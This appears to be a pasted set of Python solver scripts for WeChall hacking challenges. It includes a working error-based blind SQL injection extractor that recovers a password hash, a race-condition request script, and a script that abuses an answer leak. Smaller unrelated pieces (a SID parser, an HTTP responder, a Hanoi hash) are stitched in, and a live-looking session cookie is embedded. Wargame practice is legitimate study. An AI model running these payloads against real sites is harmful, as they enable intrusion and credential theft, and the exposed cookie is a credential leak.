Hello Navi

#!/usr/bin/env python3
"""Are you blind? — Error-based blind SQLi solver."""
import requests, re, time, sys

URL = 'https://www.wechall.net/en/challenge/Mawekl/are_you_blind/index.php'
COOKIE = {'WC': '40700784-72047-P62VMhsWxh3elcYN'}
HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}
ALPHABET = '0123456789ABCDEF'

s = requests.Session()
s.headers.update(HEADERS)
s.cookies.update(COOKIE)

def has_error(payload):
    """Return True if condition caused MySQL error (condition was FALSE)."""
    data = {'injection': payload, 'inject': 'Inject'}
    try:
        r = s.post(URL, data=data, timeout=15)
        return 'gwf_errors' in r.text
    except:
        time.sleep(1)
        return has_error(payload)

# Reset challenge first
print("[*] Resetting challenge...")
s.get(URL, params={'reset': 'me'})
time.sleep(1)

recovered = ''
for pos in range(1, 33):
    lo, hi = 0, len(ALPHABET) - 1
    while lo < hi:
        mid = (lo + hi) // 2
        mid_char = ALPHABET[mid]
        # TRUE: password[pos] > mid_char → no error
        # FALSE: password[pos] <= mid_char → error
        payload = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char}', 1, (SELECT 1 UNION SELECT 2)) -- "
        if has_error(payload):
            hi = mid
        else:
            lo = mid + 1
        time.sleep(0.2)
    recovered += ALPHABET[lo]
    bar = '\u2588' * pos + '\u2591' * (32 - pos)
    sys.stdout.write(f'\r[{bar}] {pos}/32 | {recovered}')
    sys.stdout.flush()

print(f"\n[+] Recovered: {recovered}")

# Submit
print("[*] Submitting...")
r = s.post(URL, data={'thehash': recovered, 'mybutton': 'Enter'})

if 'correct' in r.text.lower() or 'solved' in r.text.lower():
    print("[+] SOLVED!")
elif 'gwf_messages' in r.text:
    msgs = re.findall(r'<li>(.*?)</li>', r.text)
    for m in msgs:
        if m.strip():
            print(f"  MSG: {m}")
elif 'gwf_errors' in r.text:
    errs = re.findall(r'<li>(.*?)</li>', r.text)
    for e in errs:
        if e.strip():
            print(f"  ERR: {e}")

if 'more' in r.text.lower() or 'consecutive' in r.text.lower():
    print("[i] Need more consecutive rounds — running again...")
    success_count = 1
    while success_count < 5:
        s.get(URL, params={'reset': 'me'})
        time.sleep(0.5)
        recovered2 = ''
        for pos in range(1, 33):
            lo2, hi2 = 0, len(ALPHABET) - 1
            while lo2 < hi2:
                mid2 = (lo2 + hi2) // 2
                mid_char2 = ALPHABET[mid2]
                payload2 = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char2}', 1, (SELECT 1 UNION SELECT 2)) -- "
                if has_error(payload2):
                    hi2 = mid2
                else:
                    lo2 = mid2 + 1
                time.sleep(0.1)
            recovered2 += ALPHABET[lo2]
            sys.stdout.write(f'\r  Round {success_count+1}: [{pos}/32] {recovered2}')
            sys.stdout.flush()
        r2 = s.post(URL, data={'thehash': recovered2, 'mybutton': 'Enter'})
        if 'solved' in r2.text.lower() or 'congrat' in r2.text.lower():
            print(f"\n[+] SOLVED after {success_count+1} rounds!")
            recovered = recovered2
            break
        elif 'correct' in r2.text.lower() or 'more' in r2.text.lower():
            success_count += 1
            print(f"\n[i] Round {success_count} passed, need more...")
        else:
            print(f"\n[!] Round {success_count+1} failed")
            msgs = re.findall(r'<li>(.*?)</li>', r2.text)
            for m in msgs:
                if m.strip():
                    print(f"    {m}")
            break

print(f"\n[*] Final hash: {recovered}")
print("[*] Check https://www.wechall.net/en/challs for wc_chall_solved_1")

import requests, threading

s = requests.Session()
s.cookies.set('WC', 'your_cookie')

def race_round(s):
    """并发发送 buy 和 click"""
    t1 = threading.Thread(target=lambda: s.get('buy.php'))
    t2 = threading.Thread(target=lambda: s.get('click.php'))
    t1.start(); t2.start()
    t1.join(); t2.join()

for _ in range(15):  # 不需要太多轮
    race_round(s)
    stats = s.get('stats.php')
    if stats.json().get('items') >= 10:
        break

import struct

def parse_sid(path):
    with open(path, 'rb') as f:
        data = f.read()
    init = struct.unpack('>H', data[10:12])[0]
    play = struct.unpack('>H', data[12:14])[0]
    name = data[22:54].split(b'\x00')[0].decode('ascii', errors='replace')
    author = data[54:86].split(b'\x00')[0].decode('ascii', errors='replace')
    return {'init': f'${init:04X}', 'play': f'${play:04X}',
            'name': name, 'author': author}

import http.server, re, sys

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        m = re.match(r'^/WechallUsername/([0-9]+)_mul_([0-9]+)\.html$', self.path)
        if m:
            r = str(int(m.group(1)) * int(m.group(2)))
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(r.encode())
        else:
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'ready')

httpd = http.server.HTTPServer(('0.0.0.0', int(sys.argv[1])), H)
httpd.serve_forever()

import hashlib

MOVE_RESP = {
    'ab': 'we', 'ac': 'ch', 'ba': 'lr',
    'bc': 'al', 'ca': 'ul', 'cb': 'z!',
}
TOWER = ['a', 'b', 'c']

def hanoi_moves(n, src, dst, aux):
    if n == 0: return
    yield from hanoi_moves(n - 1, src, aux, dst)
    yield (src, dst)
    yield from hanoi_moves(n - 1, aux, dst, src)

moves = list(hanoi_moves(10, 0, 2, 1))
solution = ''.join(
    MOVE_RESP[TOWER[s] + TOWER[d]] for s, d in moves
)
sha = hashlib.sha512(solution.encode()).hexdigest()
print(sha)

import requests, re

cookies = {'WC': 'YOUR_WECHALL_COOKIE'}
base = 'https://www.wechall.net/en/challenge/impossible/index.php'

# Step 1: request new number
r = requests.get(f'{base}?request=new_number', cookies=cookies)
csrf = re.search(r'name="gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: submit wrong answer to leak the correct one
r2 = requests.post(base, data={
    'solution': '1',
    'solve': 'Submit',
    'gwf3_csrf': csrf
}, cookies=cookies)
correct = re.search(r'Correct would have been "(\d+)"', r2.text).group(1)

# Step 3: submit the correct answer
r3 = requests.post(base, data={
    'solution': correct,
    'solve': 'Submit',
    'gwf3_csrf': csrf
}, cookies=cookies)

print("Solved!" if 'correct' in r3.text.lower() else "Failed")